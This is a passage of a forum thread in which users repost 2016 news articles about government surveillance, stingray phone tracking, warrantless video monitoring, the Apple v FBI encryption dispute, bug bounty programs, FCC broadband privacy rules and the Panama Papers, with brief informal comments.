Garcia did not respond to a request verify the content of the e-mail, but Assem said the school system is still considering its options. “The district is working with our legal team as well as meeting with [Jeff] to figure out a solution,” she said. It’s also working to improve its infrastructure to better support students who want to bring their own devices, Assem added.

But Jeff remains frustrated. “This is a decision my school district made about the privacy and security of my child -- and it felt like they didn’t really understand the implications,” he said.

 


Title: Re: they know what you are doing
Post by: space otter on January 28, 2016, 04:16:01 pm
http://www.huffingtonpost.com/entry/states-crack-down-on-police-stingray-tech_us_56a91ddae4b0947efb665d26


States Crack Down On Police 'Stingray' Tech That Can Intercept Your Texts
Cops say stingray devices help catch criminals. But they could also be collecting civilians' texts and calls.

? 01/28/2016 04:44 pm ET



Casey Williams
Editorial Fellow, The Huffington Post
 


You might not realize it, but your text messages and phone calls could be intercepted by local police on the hunt for a suspect. This is a practice widely used across the country, and a handful of states are trying to place limits on the controversial technology that makes it possible.

New legislation proposed last week in Illinois makes this state the most recent to attempt a crackdown on the use of so-called "stingray" devices, also known as "cell site simulators." While this tech is meant to capture cell phone data from suspected criminals, it's used to sweep up data from a large area and can pull in text and call content from innocent civilians. The devices mimic cell phone towers, tricking cell phones into connecting to them.

Illinois' bill, introduced by State Senator Daniel Biss, would require police to obtain a warrant before switching on the stingrays and would force police to delete civilians' text and call records accidentally collected during an investigation.

Police in 23 states are known to have stingray devices, according to the American Civil Liberties Union. Four states have already passed laws requiring police to get a warrant before using stingrays, per ABC Chicago affiliate WLS.

Sponsors of the proposed Illinois law say the warrantless collection of civilian phone data, even if it’s accidental, could violate privacy rights. Civil liberties groups are also worried.

"We are concerned with assuring that the devices operate within our accepted constitutional framework," Edwin Yohnka, the public policy and communications director the American Civil Liberties Union told The Huffington Post in an email Wednesday.

Under the proposed law, he said, “If you or I were in an area where a stingray is being used, government won’t have a record of that fact -- we are therefore free to travel without that surveillance."

(http://img.huffingtonpost.com/asset/crop_46_130_711_517scalefit_630_noupscale/56aa531b1f00007f00216d75.jpeg)

ACLU

Police in 23 states are known to have stingray surveillance devices, according to the ACLU.


If passed, the proposed surveillance legislation would bring Illinois in line with federal law. In October, the Department of Justice announced new rules requiring federal investigators to obtain a warrant before using stingrays. But the rules don’t apply to local police.

Illinois's police practices came into the national spotlight last year after Chicago officer Jason Van Dyke was charged in the shooting death of 17-year-old Laquan McDonald.

Law enforcement officials say that stingrays help them catch criminals. But federal investigators haven't disclosed much information about how and when such devices are used. In one case, feds seized stingray records from a local police department to keep them out of the hands of watchdog groups.

State Representative Ann Williams, who sponsored the bill in the Illinois House of Representatives, hopes the proposed legislation will help protect rights in an era of rapid technological change.

"Basic protections are no different because of advancing technology. The law has to keep up with it," Williams told the Chicago Tribune last week. 


Title: Re: they know what you are doing
Post by: space otter on February 08, 2016, 10:13:39 pm


look up...look down...look all around and wave to the camera...grrrrrrrrrrr

http://www.huffingtonpost.com/entry/warrantless-video-surveillance-constitutional_us_56b90dc9e4b08069c7a875ed

A federal appeals court on Monday ruled it is not unconstitutional for law enforcement to set up a camera on a public utility pole and record a suspect's moves for 10 weeks straight.

Such warrantless recording is permitted, the U.S. Court of Appeals for the 6th Circuit said, because people have "no reasonable expectation of privacy in video footage recorded by a camera that was located on top of a public utility pole and that captured the same views enjoyed by passersby on public roads."

The ruling stemmed in part from a nasty, years-long confrontation between two Tennessee brothers and local police -- long-simmering bad blood that led to shootouts, officer deaths and ultimately a criminal trial that ended in acquittals for the brothers.

Despite this history, the conflict persisted, and federal agents later learned from local law enforcement that one of the brothers, Rocky Houston, had a prior felony and thus was in violation of federal law for possessing firearms in his rural property -- which he shared with his brother Leon, who slept in a trailer, and an adult daughter, who lived in a nearby barn.

Federal agents followed up on the tip and visited the property to investigate, but quickly realized that their vehicle "stuck out like a sore thumb" and they couldn't conduct proper surveillance of the premises. That's when they enlisted the help of the utility company and, without obtaining a warrant, set up a camera from a pole located roughly 200 yards away from Leon's trailer.

(http://img.huffingtonpost.com/asset/scalefit_630_noupscale/56b939b71a00002d00ab23ce.jpeg)

Mark Makela via Getty Images

For a federal appeals court, a camera that recorded a suspect's moves for 10 weeks straight didn't violate his "reasonable expectation of privacy."


That was good enough to monitor the brothers' activities for 10 weeks straight, including instances of Houston handling guns on the property. About a month after the surveillance ended, the agents moved in on the farm, seized 25 firearms -- 17 of them Houston's -- and charged him under a federal law that prohibits former felons from possessing them.

Houston was ultimately convicted and sentenced to nine years in prison for the offense, in large part based on the evidence gathered through the warrantless surveillance of the family property.

On appeal, the 6th Circuit ruled the surveillance didn't violate his Fourth Amendment right to be free from unreasonable searches.

"The ATF agents only observed what Houston made public to any person traveling on the roads surrounding the farm," the court said, reasoning that the "agents had a right to access the public utility pole and the camera captured only views that were plainly visible to any member of the public who drove down the roads bordering the farm."

But the court also dismissed the notion that the length of surveillance mattered to its constitutional analysis, noting that "the Fourth Amendment does not punish law enforcement for using technology to more efficiently conduct their investigations."

As George Washington University law professor Orin Kerr observed in a legal blog, the court appears to have employed an interest-balancing theory to reach its conclusion -- that is, the surveillance is justified because it helps avoid giving wrongdoers "the upper hand."


“The law cannot be that modern technological advances are off-limits to law enforcement when criminals may use them freely.

—U.S. Court of Appeals for the 6th Circuit


"The law cannot be that modern technological advances are off-limits to law enforcement when criminals may use them freely," the court said.

The 6th Circuit ruling from Monday is an outgrowth of a 2012 Supreme Court decision that declared it unconstitutional to install a GPS device on a vehicle without a warrant -- the first major ruling to try to adapt the law on unreasonable searches and seizures to the realities of modern technology.

Though she didn't write the court's lead opinion, Justice Sonia Sotomayor, whom the 6th Circuit cited, wrote separately to articulate a broad and liberal vision for how the Fourth Amendment should be interpreted in the age of smartphones and the surveillance state.

"Awareness that the Government may be watching chills associational and expressive freedoms. And the Government’s unrestrained power to assemble data that reveal private aspects of identity is susceptible to abuse," she wrote.

In light of these concerns, Sotomayor questioned whether the government should be entrusted with these technologies without a meaningful check, "especially in light of the Fourth Amendment’s goal to curb arbitrary exercises of police power" and "police surveillance."

Sotomayor's view is not the law nationwide. But as the Houston case and others illustrate, the Supreme Court may need to clarify soon what is and isn't reasonable as government tactics grow more and more sophisticated.
   
Title: Re: they know what you are doing
Post by: space otter on February 11, 2016, 12:43:07 pm

http://www.huffingtonpost.com/entry/nypd-cell-phone-spying-stingray_us_56bcaf05e4b0b40245c57fd3

The NYPD Has Secretly Been Spying On Cell Phones Since 2008
It's using surveillance devices originally developed for the CIA.

? 02/11/2016 02:07 pm ET    Ryan Grenoble  News Editor, The Huffington Post
The New York Police Department has secretly tracked cell phones more than 1,000 times between 2008 and 2015, documents obtained by the New York Civil Liberties Union show.

The documents, released only after an inquiry under the state's Freedom Of Information Law, or FOIL, reveal for the first time the NYPD owns and uses Stingrays. Stingrays, also known as cell-site simulators, are devices that mimic cell phone towers, then collect information from phones that attempt to connect to them.

That information allows police to pinpoint a person's location. In some instances, police can also record information from the phone, including numbers it has called and texted, and the contents of those communications.

(http://img.huffingtonpost.com/asset/crop_33_324_2967_1483scalefit_630_noupscale/56bcd1bb1a00002d00ab27aa.jpeg)

U.S. Patent and Trademark Office via Associated Press

This undated handout photo shows the StingRay II, manufactured by Harris Corporation, which simulates being a cellular site for surveillance purposes.


“If carrying a cell phone means being exposed to military grade surveillance equipment, then the privacy of nearly all New Yorkers is at risk,” Donna Lieberman, executive director of the NYCLU, said in a statement. “Considering the NYPD’s troubling history of surveilling innocent people, it must at the very least establish strict privacy policies and obtain warrants prior to using intrusive equipment like Stingrays that can track people’s cell phones.”

Troublingly, the devices were employed without warrants, and often collect information from bystanders' phones, even if they're not involved in any active investigation.

(http://img.huffingtonpost.com/asset/scalefit_630_noupscale/56bcd2c61f00000d01217d54.jpeg?)

Roberto Machado Noa via Getty Images

Stingray devices collect data from cell phones by mimicking communication towers.


Stingrays were originally used by intelligence agencies like the CIA after telecommunications companies in foreign countries refused to comply with their surveillance requests, per a Scientific American report from June 2015. The U.S. Military then bought into the technology, and various domestic agencies -- including the Drug Enforcement Administration, FBI, and Department of Homeland Security -- began using them in the U.S.

They've since been purchased and deployed by a wide range of state and local law enforcement, though the ACLU reports these agencies go to great lengths to purchase and use them in secrecy.
Title: Re: they know what you are doing
Post by: space otter on February 12, 2016, 08:30:03 pm


yet another case of true being stranger than fiction...sigh

http://www.huffingtonpost.com/entry/fbi-surveillance-internet-of-things_us_56b4d6f0e4b04f9b57d957fc?utm_hp_ref=technology



Casey Williams
Editorial Fellow, The Huffington Post
02/11/2016 01:52 pm ET

The FBI Could Be Eavesdropping On Your Toaster
In case you weren't already terrified about your cybersecurity...

Spy agencies might begin hacking into Internet-connected consumer products to collect information about suspects, the Director of National Intelligence James Clapper told the Senate on Tuesday.

This troubled civil liberties advocates who argue that surveillance laws have not kept up with the rapid pace of technological change.

"These new surveillance techniques are operating in legal darkness," Neema Singh Guliani, legislative counsel for the American Civil Liberties Union, told The Huffington Post on Wednesday. She added that it's not clear to people outside the intelligence community which laws intelligence agencies use to justify new surveillance measures or how they're interpreting those laws.

The USA Freedom Act, passed in 2015, prohibits spy agencies from gathering Americans' communication data from phone and Internet companies. But the law does not apply to all types of government surveillance, according to Guliani.

What's more, a growing number of common household items can connect to the Internet, collecting our data and transmitting it. The so-called "Internet of Things" includes gadgets -- from TVs, baby monitors and Barbies, to Google's Nest, an Internet-enabled thermostat and smoke alarm -- that are equipped with sensors for gathering audio, video, location and other data.

"The Freedom Act doesn’t cover the FBI getting information about your toaster," Guliani said. "Technology continues to develop at lightning speed and our laws have not kept pace."

The ACLU has called on Congress to update surveillance and privacy laws to reflect these advancements. Guliani said that new measures should "make clear that law enforcement officials must have a warrant to obtain an individual’s sensitive information -- whether it's location information stored on a cell phone or medical information stored on a personal device."


“The Freedom Act doesn’t cover the FBI getting information about your toaster.

—Neema Singh Guliani, legislative counsel at the American Civil Liberties Union


Further complicating matters, "smart home" devices tend not to be very secure. Seventy percent of Internet-enabled objects do not encrypt the data they transmit across the Internet, according to a 2015 study by Hewlett Packard.

Intelligence agencies can remotely intercept data from these smart home devices and use it to track down targets, according to the intelligence director's Tuesday testimony.

“Intelligence services might use the [Internet of things] for identification, surveillance, monitoring, location tracking and targeting for recruitment, or to gain access to networks or user credentials,” Clapper told the Senate.

His statements echo a report released this month from Harvard's Berkman Center for Internet and Society that describes how spying on Internet-connected devices could allow intelligence officials to get the information they need, as opposed to cracking through encrypted communications sent via a more secure device, like a smartphone.

It's not just the authorities who know this, either. Hackers have hijacked Internet-connected baby monitors to spy on children. There's even a search engine to help you locate unsecured Internet-connected devices.

The government is taking steps to protect consumers' Internet-enabled products from hacking, however. The White House unveiled a new government cybersecurity program on Tuesday that will "test and certify networked devices within the 'Internet of Things,'" to make sure they're insulated from cyberattacks, according to a post on the official White House blog.

But, if the government wants to protect Americans' privacy, Guliani says, it should encourage them to encrypt their data.

"Congress should be doing everything in its power to increase the use of encryption and other security functions to protect people's privacy and communications," she said. 

Title: Re: they know what you are doing
Post by: space otter on March 05, 2016, 10:02:54 am

privacy or safety..is there a choice? or is it too late to make one?
doesn't look like the peons will get a vote..sigh  :(



http://www.bbc.com/news/technology-35704103
Dave Lee
North America technology reporter
2 March 2016


Apple v FBI: US debates a world without privacy

Is there such a thing as security so good it's a danger to society?

That's the bigger picture at hand as Apple continues to fight an order to unlock a terrorist's iPhone.

That fight made its way to Capitol Hill on Tuesday for a hearing in front of the House Judiciary Committee, the government body that covers matters relating to how law and order is enforced in the US.

Over the course of four meandering hours, representatives dived headfirst into the complexities of the case FBI director James Comey said is the most difficult issue he has ever had to deal with.

He told the committee that his organisation was seriously concerned by the growth of what law enforcement describe as "warrant-proof spaces"?-?the term given for methods of communication or storage that, even with the correct permission from the court, can't be accessed. Not by police and not by technology companies

If we're going to move to a place where it's not possible to overcome that," Mr Comey warned, "that's a world we've never lived in before in the United States."

His demand that Apple assists his agency in weakening the iPhone's security was met with this from California Congresswoman Zoe Lofgren.

"The alternative [to strong encryption] is a world where nothing is private.

"Once you have holes in encryption, the rule is not a question of if, but when those holes will be exploited and everything you thought was protected will be revealed."

Physical intrusion

Apple was represented in this hearing by its lead counsel, Bruce Sewell.

Aside from customer letters, and a somewhat stage-managed interview with ABC, it's the first time the computing giant has been put under scrutiny over its refusal to comply with the FBI order.

Mr Sewell put in a strong performance thanks, largely, to the testimony of cryptology expert Prof Susan Landau? - whose pivotal input I'll discuss later.

Mr Sewell endured fierce exchanges with South Carolina Congressman Trey Gowdy, who was angry at what he deemed a lack of cooperation in this controversial case.

How is it possible, the Congressman offered, to live in a world where the FBI has the authority to stick a finger up someone's rear in search of drugs, but not the power to look at the locked iPhone of that same suspect?

There's no simple answer to that, of course, though Apple might contest that law enforcement's capability to carry out such physically intrusive actions doesn't increase the general public's risk of exposure to an unruly finger or two.

'No no no'

But, crass comparison aside, Congressman Gowdy's heated questioning eventually arrived at this key point - if Apple won't comply with this order, he thinks the company must at least be forthcoming in sharing what it is actually prepared to do.

In a similar vein, the session's soundbite moment came from the mouth of Congressman Jim Sensenbrenner, who scolded Apple for having the audacity to demand Congress do something without offering any solution itself.

"All you've been doing is saying 'no no no no'," the Congressman said.

"You're operating in a vacuum.

"You've told us what you don't like. You haven't told us one thing about what you do like. When are we going to hear about what you do like so Apple has a positive solution to what you are complaining about."

Congress could, he added, continue unassisted by Apple, "but I can guarantee you aren't going to like the result".

Mother's diary

That's because, judging by some of the questioning during the session, some members of Congress consider it unfathomable that police cannot reach the information kept in Apple devices.

It's a barrier hindering many, many cases. Mr Comey could not say exactly how many phones the FBI wanted to unlock nationwide, other than that it was "a lot".

Later in the hearing, we learned that there are 205 locked iPhones currently held by police in New York alone.

We were reminded about a case involving Brittany Mills, an expectant mother who was shot and killed on her doorstep in Louisiana last year. Her baby boy died soon after.

Ms Mills - whose family attended the hearing - kept a personal diary on her phone that could contain crucial information about the murderer. The phone is locked, rendered unreachable by Apple's encryption software.

"I think about the nine-year-old girl who asked 'why can't they open the phone so we can see who killed my mother'," said Louisiana Congressman Cedric Richmond.

Mr Sewell said Apple had done a lot to help with that investigation, but without creating the kind of tool demanded by the FBI in the San Bernardino case, it would be unable to assist further.

Making a smarter FBI

But maybe someone else could?

Republican Congressman Darrell Issa - a favourite among tech enthusiasts thanks to his opposition to several bills considered to be anti-internet - gave Mr Comey a hard time over the process leading up to asking for Apple's help.

Mr Issa said the FBI had not explored all the options for accessing the data and circumventing Apple's security.

He said the FBI should be investing in bringing in people with that expertise, not relying on companies like Apple to do the work for them.

Point being - if the FBI could crack the phone itself, Apple's opposition would be irrelevant.

This call was backed up by the thoughts of Prof Landau, an independent cryptology expert who argued, with some force, that there was no way the FBI's request in San Bernardino could be carried out safely.


The so-called Islamic State has used encrypted app Telegram to announce attacks

She said that while Apple could no doubt keep the code required to crack Syed Farook's phone a secret, the real issue is what will happen when Apple is subjected to possibly hundreds of requests to do the same thing on other devices.

She said the surge of orders would mean Apple would need to create a faster process to handle the task, one that would by its nature be vulnerable to exploitation through interception, or perhaps a rogue employee.

Prof Landau insisted the only real course of action was for the FBI to invest heavily in becoming smarter - rather than compelling Apple to make its products less secure.

Because a weakened iPhone would have one critical side effect, she said. Criminals would simply use other, more secure methods to talk to each other - apps created by countries outside the US, offering encryption mechanisms even more secure than those offered by Apple currently.

Should that happen, the wishes of Congress matter not a jot.

"What you're saying," Congressman Jerrold Nadler asked Prof Landau, "is that we're debating something that's… undoable?

"That's right."





pictures of some involved with this article at the link
also links to these stories





How did governments lose control of encryption?

Apple v the FBI - a plain English guide

Judge backs Apple in iPhone fight

Apple's boss hits back at FBI conduct

Bill Gates calls for terror data debate




................................................

meant to add this..any of you guys gonna try?

http://www.npr.org/sections/thetwo-way/2016/03/02/468887190/u-s-announces-hack-the-pentagon-bug-bounty-program
 
Updated March 2, 2016·12:58 PM ET
Published March 2, 2016·11:02 AM ET
 
Bill Chappell


U.S. Announces 'Hack The Pentagon' Bug Bounty Program

(http://media.npr.org/assets/img/2016/03/02/gettyimages-513091178_wide-ba76cbd0c7c54ffea5b16a88f4a14774a4963a19-s800-c85.jpg)

Secretary of Defense Ash Carter (left) says the Pentagon's new hacker program will strengthen America's digital defenses. Carter is seen here with the chairman of the Joint Chiefs of Staff, Gen. Joseph Dunford.   
 
Mark Wilson/Getty Images


Secretary of Defense Ash Carter (left) says the Pentagon's new hacker program will strengthen America's digital defenses. Carter is seen here with the chairman of the Joint Chiefs of Staff, Gen. Joseph Dunford.






Announcing what it calls "the first cyber bug bounty program in the history of the federal government," the Department of Defense says it's inviting hackers to test the security of its Web pages and networks.

The contest is only for "vetted hackers," the DoD says, which means that anyone hoping to find vulnerabilities in its systems will first need to pass a background check. Participants could win money and recognition for their work, the agency says.

The pilot program is slated to begin in April. And if you're wondering whether the hackers might disrupt a critical piece of the Department of Defense's infrastructure, the agency says that hackers will target a predetermined system that's not part of its critical operations.

According to a list published by the Defense Department, it currently manages 488 websites, which are devoted to everything from the 111th Attack Wing and other military units to the Yellow Ribbon Reintegration Program.

The "Hack the Pentagon" initiative is the work of the Defense Digital Service, a DoD unit that was launched last fall as part of the White House's U.S. Digital Service.

According to DDS Director Chris Lynch, "Bringing in the best talent, technology and processes from the private sector not only helps us deliver comprehensive, more secure solutions to the DoD, but it also helps us better protect our country."

News of the bug bounty program, which is similar to security-boosting strategies used by private companies, follows word that the Defense Department "plans to hire private contractors to develop a $600 million-plus computer system for a new background check agency," as Reuters reports.

Last summer, the Office of Personnel Management revealed that the private information of more than 20 million U.S. government workers and others had been stolen in a massive security breach.

Nearly three years ago, the Pentagon publicly said China's government had conducted cyberattacks against the U.S. government, citing attacks on "numerous U.S. diplomatic, economic and defense industry networks," as the Two-Way reported.


bunch of embedded links in there
Title: Re: they know what you are doing
Post by: space otter on March 14, 2016, 08:25:43 pm


could things really be changing ?   ?  or is it too little too late? ?

http://www.huffingtonpost.com/entry/fcc-unveils-online-privacy-plan_us_56e1ada1e4b065e2e3d50b45?utm_hp_ref=technology

The Government Is Taking A Huge Step On Online Privacy
Some broadband providers aren't happy about it.
03/10/2016 12:57 pm ET
 David Shepardson

WASHINGTON (Reuters) - The head of the U.S. Federal Communications Commission (FCC) is set to unveil details of a proposal on Thursday to protect consumers' internet privacy, safety advocates and industry officials said.

FCC chairman Tom Wheeler is expected to unveil a long-awaited plan for new broadband privacy rules to be voted on initially by the commission during its March 31 meeting. A final vote on new regulations would follow a public comment period.

A FCC spokeswoman declined to comment on the timing of the privacy proposal.

Broadband providers currently collect significant amounts of consumer data and some use that data for targeted advertising, which has drawn criticism from privacy advocates.

In November, Wheeler said he expected the FCC would address the privacy practices of network service providers.

Consumers should know what is being collected about their internet use, have a right not to have the information collected and have reassurances that the data will be protected, Wheeler said.

On Monday, Verizon Communications Inc agreed to pay $1.35 million to settle an FCC privacy probe after it admitted it inserted unique tracking codes in its users' internet traffic for advertising known as 'supercookies' without getting their consent or allowing them to opt out.

AT&T Senior Vice President Bob Quinn said in a blog post on Wednesday that the FCC is holding broadband providers to a different standard than companies like Apple Inc and Alphabet Inc's Google unit.

"Time and time again, the FCC appears to want to place its thumb on the scale in favor of Internet companies and against the companies that invest in broadband infrastructure in this country," Quinn wrote.

A coalition of groups including the American Civil Liberties Union, Center for Digital Democracy and Electronic Frontier Foundation has urged the FCC to write sweeping privacy protections for the nation's broadband users.

The FCC has new authority to set privacy rules after it reclassified broadband providers last year as part of new net neutrality regulations. A federal appeals court has not ruled on a court challenge to that decision.

(Reporting by David Shepardson; Editing by Bill Rigby)



..........................................

http://www.huffingtonpost.com/tom-wheeler/its-your-data-protect-online-privacy_b_9428484.html?utm_hp_ref=technology

It's Your Data: Empowering Consumers to Protect Online Privacy
03/10/2016 12:17 pm ET | Updated 4 days ago

It's the age of anywhere, anytime Internet connectivity -- do you know where your information is?

Whenever we go online, we share information about ourselves. This information can be used to recommend a TV show based on what we've watched before. It can help target advertisements for products that we're interested in. And it can also paint a portrait of our family life, our health, our finances, and other sensitive personal details.

We all know that the social media we join and the websites we visit collect our personal information, and use it for advertising purposes. Seldom, however, do we stop to realize that our Internet Service Provider (ISP) is also collecting information about us. What's more, we can choose not to visit a website or sign up for a social network, or choose to drop one and switch to another. Broadband service is different. Once you subscribe to an Internet service provider -- for your home or for your smartphone -- you have little flexibility to change your mind or avoid that network.

Think about it. Your ISP handles all of your network traffic. That means it has a broad view of all of your unencrypted online activity -- when you are online, the websites you visit, and the apps you use. If you have a mobile device, your provider can track your physical location throughout the day in real time. Even when data is encrypted, your broadband provider can piece together significant amounts of information about you -- including private information such as a chronic medical condition or financial problems -- based on your online activity.

The information collected by the phone company about your telephone usage has long been protected information. Regulations of the Federal Communications Commission (FCC) limit your phone company's ability to repurpose and resell what it learns about your phone activity.

The same should be true for information collected by your ISP.

Today, I'm proposing to my colleagues that we empower consumers to ensure they have control over how their information is used by their Internet Service Provider. Every broadband consumer should have the right to know what information is being collected and how it is used. Every broadband consumer should have the right to choose how their information bits should be used and shared. And every consumer should be confident that their information is being securely protected.

This is not to say network providers shouldn't be

able to use information they collect -- only that since it is your information, you should decide whether they can do so. This isn't about prohibition; it's about permission.

Under my proposal, ISPs would be able to use information about where you want to go on the Internet in order to deliver the broadband service you signed up for, just as phone companies can use the phone numbers you dial to connect you to your calls. They would also be able to use customer information for other purposes that are consistent with customer expectations; for example to market higher speed connections and to bill for their services. ISPs would be able to use and share customer information with their affiliates to market other communications-related services unless you "opt out" and ask them not to. All other uses and sharing of your personal data would require your affirmative "opt-in" consent. We recognize that ISPs must necessarily collect and use information you create to provide service. However, consumers deserve to have safeguards in place to ensure that information necessary to run the network is used only for that purpose unless the owner of that information -- the consumer -- agrees otherwise.

One of the most important things to remember about this proposal is that it is narrowly focused on the personal information collected by network providers. The privacy practices of the websites that you choose to visit are not covered by this proposal. Indeed, there are other federal and state agencies, namely the Federal Trade Commission -- that do a great job dealing with such companies and their privacy practices. The Federal Communications Commission is the nation's telecommunications agency. We're sticking to our knitting -- decades of expertise concerning communications networks. Also, this proposal does not wade into government surveillance, encryption or other law enforcement issues. This is about ISPs and only ISPs.

On March 31, my fellow Commissioners will vote to seek comment on this proposal. If approved, all Americans will have the opportunity to weigh in and have their voices heard. We want to listen and we want to learn from you before we adopt final, enforceable rules of the road.

Simply by using the Internet, you have no choice but to share large amounts of personal information with your broadband provider. You have a right to know what information is being collected about you and how that information is being used. That's why establishing baseline privacy standards for ISPs is a common sense idea whose time has come. The bottom line is that it's your data. How it's used and shared should be your choice.

--

Tom Wheeler is Chairman of the Federal Communications Commission, the United States' primary authority for communications laws, regulation and technological innovation. You can follow him on Twitter at @TomWheelerFCC or visit the agency at FCC.gov, on Twitter @FCC, Facebook, or Instagram.


Title: Re: they know what you are doing
Post by: space otter on March 20, 2016, 07:12:22 am


hackers wanted...seems to be a trend..ahhhhh how times have changed... ;)



http://www.huffingtonpost.com/entry/google-offers-100-hacking-reward_us_56eb0bcae4b09bf44a9cc144?utm_hp_ref=technology

03/17/2016 05:29 pm ET | Updated 1 day ago
Nina Golgowski
Trends reporter, The Huffington Post



Google: $100,000 Says You Can’t Hack A Chromebook Remotely

Attention, hackers!
?
Google is hoping to bait the world’s top hackers with a $100,000 reward for hacking one of the company’s Chromebooks remotely.

The technology giant announced their six-digit prize Monday, doubling the amount offered last year after failing to receive a successful submission.

In a blog post titled “Get Rich or Hack Tryin’,” Google said the aim is to reward researchers who find and report security issues.

The one catch is that the laptop computer must be in guest mode at the time of the security breach. (They’d also like it if it’s your personal computer and not someone else’s.)

The challenge is one of several posted on its Chrome Rewards page, which offers prizes starting at $500.

Those who don’t want a monetary reward have the option of donating the money to an established charity. In those situations, the prize money will be doubled.

Google said it paid researchers more than $2 million last year for their work reporting on security bugs.

Title: Re: they know what you are doing
Post by: Littleenki on March 22, 2016, 11:51:17 am
Yes, yes "they"do, even the wildlife, or anything which should happen in front of the nations thousands of webcams available for public viewing, where should some inadvertent human behaviour take place in front of one, it can be used for various nefarious or non nefarious means....

www.livewatch.com (http://www.livewatch.com)
Title: Re: they know what you are doing
Post by: space otter on March 22, 2016, 05:15:36 pm


hey LE.
.it's back up there a bit  - post number 680 -  I don't know if you saw it  but it

proves your point.. or are you proving that point..whichever..lol


you might want to check these out

http://www.earthcam.com/

http://www.wunderground.com/webcams/


it's past scary..so be sure to wave  as you go about your day..i do
Title: Re: they know what you are doing
Post by: Littleenki on March 24, 2016, 05:43:51 pm

hey LE.
.it's back up there a bit  - post number 680 -  I don't know if you saw it  but it

proves your point.. or are you proving that point..whichever..lol


you might want to check these out

http://www.earthcam.com/

http://www.wunderground.com/webcams/


it's past scary..so be sure to wave  as you go about your day..i do

What caught my eye was the link I shared was for mostly wildlife cams..another layer where they can see us, during activities or hunting..etc..

Scary, but not unexpected by our megalomaniac so called leaders!

Cheers!
Le
Title: Re: they know what you are doing
Post by: space otter on April 05, 2016, 06:28:01 pm

kinda makes me wonder what would happen if everyone knew everything about every other one..


http://www.msn.com/en-us/money/markets/panama-papers-largest-data-leak-in-history-is-just-the-beginning/ar-BBrm9bn?li=BBnb7Kz
Newsweek
Leah McGrath Goodman
21 hrs ago

Panama Papers: Largest data leak in history is 'just the beginning'
A veritable Who’s Who list of billionaires, celebrities and global leaders has been linked to offshore tax shelters, following the extraordinary leak of 11.5 million documents from a Panama-based law firm. The disclosure stunned the world Monday, as presidents and prime ministers attempted to explain their previously unknown ties to hidden fortunes stashed in offshore tax shelters—with many bracing for more revelations this week.

“It’s the biggest leak we’ve ever seen of this kind—it’s like having a tsunami coming your way and the surfboard’s all greased up and ready to go,” says John Christensen, director and co-founder of the UK-based Tax Justice Network, which investigates the offshore wealth industry and each year publishes the Financial Secrecy Index, which estimates that $21 trillion to $32 trillion of private wealth “is located, untaxed or lightly taxed in secrecy jurisdictions around the world.” Panama is among the index’s worst offenders.

For the uninitiated, a tax shelter is a legal way to minimize or decrease a person’s taxable income. For instance, a 401(k) plan is technically a tax shelter. But the legality of some tax-efficient vehicles can be murky, particularly when they are used to illegally conceal the ownership or full extent of a person’s wealth or ties to illicit operations. Avoiding taxes has been a key plank of the world’s wealthy for decades, contributing to the growing wealth gap and placing an ever greater strain on ordinary taxpayers.

“While many people don’t know it, this affects the global economy, the way our governments work, all of us every single working day of our lives,” Christensen says. “The public is losing basic services left, right and center, and at the same time they are being burdened with more taxes because the global elite aren't paying their fair share.”

Among those caught up in the leak were 12 current and former world leaders among 143 politicians and their families, friends and associates, including the King of Saudi Arabia Salman bin Abdulaziz Al Saud; Russian President Vladimir Putin; Ukrainian President Petro Poroshenko; Pakistan’s Prime Minister Nawaz Sharif; Iraqi Vice President and former acting prime minister Ayad Allawi; the family of Chinese President Xi Jinping and current and former members of China’s Politburo.

Also implicated was the former prime minister of Qatar, Hamad bin Jassim bin Jaber Al Thani, and former emir of Qatar, Hamad bin Khalifa Al Thani; cousins of Syrian President Bashar al-Assad, Rami and Hafez Makhlouf; the son of Egypt’s ex-president, Alaa Mubarak; the children of Azerbaijani President Ilham Aliyev. And also Icelandic Prime Minister Sigmundur Davíð Gunnlaugsson, who faced calls for his resignation. By late Monday, politicians in Iceland—the only country to have imprisoned dozens of bankers and financiers in the wake of the 2008 financial crisis—were calling for a vote of no confidence.

In the UK, the late father of Prime Minister David Cameron, Ian Cameron, was also named in the leak, along with six members of the House of Lords, three former Conservative members of Parliament and dozens of donors to British political parties. Downing Street declined to comment Monday. This spring, Cameron plans to hold a global anti-corruption summit in London that’s expected to address issues surrounding tax shelters.

Also on the list were 29 billionaires featured in Forbes Magazine’s list of the world’s 500 richest people and celebrities such as actor Jackie Chan and world-famous footballer Lionel Messi, along with 20 other high-profile sports stars.

Christensen says that while the Panama law firm at the center of the controversy, Mossack Fonseca, is not well known outside global financial circles, the world’s fourth-largest offshore law firm is “a whale among the firms known for setting up offshore tax shelters,” with offices on nearly every major continent, from the top tax havens of the British Virgin Islands, Gibraltar, Jersey and Zurich to offices across the Americas, Europe, the Middle East and Asia.

Christensen himself is a former senior civil servant from the island of Jersey who previously worked inside the UK’s global network of overseas territories and Crown dependencies housing offshore wealth, which include Jersey and the British Virgin Islands. Both were implicated in the document leak.

Since last year, Christensen has worked with the German newspaper, Süddeutsche Zeitung, which obtained the leaked documents from Mossack Fonseca through an anonymous source, sharing them with more than 370 journalists affiliated with the International Consortium of Investigative Journalists (ICIJ) from 107 media organizations in 76 countries, who are still combing through the records for further revelations and are expected to release more details shortly. The ICIJ is the watchdog journalism branch of the Center for Public Integrity, a Washington nonprofit, nonpartisan investigative group.

The leak is the biggest in history, greater than the cache of documents released by Wikileaks, and contains information from 1977 to December 2015, including the details of 214,000 entities, such as trusts, foundations and shell companies that can be used to hide the true ownership of assets.

“These law firms are pivotal to creating tax shelters,” Christensen says. “They advise clients and set up the layers of secrecy that allow for the concealment of offshore money. Then they hide behind the attorney-client privilege.”

Most of the documents leaked are emails. Others contain images of contracts, passports and memos, including one from a partner at Mossack Fonseca that stated, “Ninety-five percent of our work coincidentally consists in selling vehicles to avoid taxes.”

In response to the leak, Mossack Fonseca released a lengthy statement reported by Newsweek earlier, explaining it “cannot provide response to questions that pertain to specific matters, as doing so would be a breach of our policies and legal obligation to maintain client confidentiality.” It also indicated that it has never been found guilty of any wrongdoing and the leak may have been the result of a data breach.

Panama is known for defending what Christensen calls “an extreme secrecy model” that he says is “determined not to engage with the rest of the world in any effort toward financial transparency.”

The country ranks number 13 on the Tax Justice Network’s Financial Secrecy Index, while the U.S. ranks number three after Switzerland and Hong Kong (at number one and number two respectively). The UK comes in at number 15.

In response to questions about the release of additional names from the U.S., the editor of Süddeutsche Zeitung said on Twitter: "Just wait for what is coming next."

Christensen says so far the Panama Papers leak—which is still being mined by the team of journalists—did not contain what he considered to be a “representative” number of U.S. offenders.

